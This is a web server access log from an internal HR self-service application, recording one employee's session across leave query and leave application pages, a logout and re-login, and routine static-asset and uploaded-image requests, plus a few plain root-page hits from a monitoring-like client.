192.168.11.136 - - [03/Sep/2025:14:53:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11436
192.168.11.136 - - [03/Sep/2025:14:53:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11436 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11436
192.168.11.136 - - [03/Sep/2025:14:53:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11573 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11573
192.168.11.136 - - [03/Sep/2025:14:54:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:54:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
100.64.0.1 - - [03/Sep/2025:14:54:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:14:54:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:14:55:10 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:55:10 +0800] "GET / HTTP/1.0" 200 439
192.168.11.136 - - [03/Sep/2025:14:55:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8195702852352897 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:55:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8195702852352897 HTTP/1.1" 200 8900
192.168.11.136 - - [03/Sep/2025:14:55:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8195702852352897 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8195702852352897" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:55:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8195702852352897 HTTP/1.1" 200 24844
192.168.11.136 - - [03/Sep/2025:14:56:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211
192.168.11.136 - - [03/Sep/2025:14:56:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:09 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.136 - - [03/Sep/2025:14:56:09 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [03/Sep/2025:14:56:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395
192.168.11.136 - - [03/Sep/2025:14:56:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11584 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11584
192.168.11.136 - - [03/Sep/2025:14:56:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12834 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12834
192.168.11.136 - - [03/Sep/2025:14:56:44 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.9137879015391487 HTTP/1.1" 200 186986 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:44 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.9137879015391487 HTTP/1.1" 200 186986
192.168.11.136 - - [03/Sep/2025:14:56:44 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.8182634319702857 HTTP/1.1" 200 186986
192.168.11.136 - - [03/Sep/2025:14:56:44 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.8182634319702857 HTTP/1.1" 200 186986 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:49 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.8182634319702857 HTTP/1.1" 304 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:56:49 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.8182634319702857 HTTP/1.1" 304 -
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [03/Sep/2025:14:57:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [03/Sep/2025:14:57:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [03/Sep/2025:14:57:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [03/Sep/2025:14:57:39 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.136 - - [03/Sep/2025:14:57:39 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [03/Sep/2025:14:57:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:40 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.136 - - [03/Sep/2025:14:57:40 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:57:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:57:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395
192.168.11.136 - - [03/Sep/2025:14:57:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [03/Sep/2025:14:57:46 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:46 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
100.64.0.1 - - [03/Sep/2025:14:57:47 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:57:47 +0800] "GET / HTTP/1.0" 200 439
192.168.11.136 - - [03/Sep/2025:14:57:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:57:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [03/Sep/2025:14:57:58 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:58 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.136 - - [03/Sep/2025:14:57:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12834 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12834
192.168.11.136 - - [03/Sep/2025:14:57:58 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:57:58 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.136 - - [03/Sep/2025:14:58:01 +0800] "GET /eHR/upload/userfile/0449a5cc4782bc4d8704b83bb29ec37a.jpg?&openW=Y&rand=0.9096726045224416 HTTP/1.1" 200 5587356
192.168.11.136 - - [03/Sep/2025:14:58:01 +0800] "GET /eHR/upload/userfile/0449a5cc4782bc4d8704b83bb29ec37a.jpg?&openW=Y&rand=0.9096726045224416 HTTP/1.1" 200 5587356 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:58:01 +0800] "GET /eHR/upload/userfile/0449a5cc4782bc4d8704b83bb29ec37a.jpg?&openW=Y&rand=0.7095287439678108 HTTP/1.1" 200 5587356
192.168.11.136 - - [03/Sep/2025:14:58:01 +0800] "GET /eHR/upload/userfile/0449a5cc4782bc4d8704b83bb29ec37a.jpg?&openW=Y&rand=0.7095287439678108 HTTP/1.1" 200 5587356 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
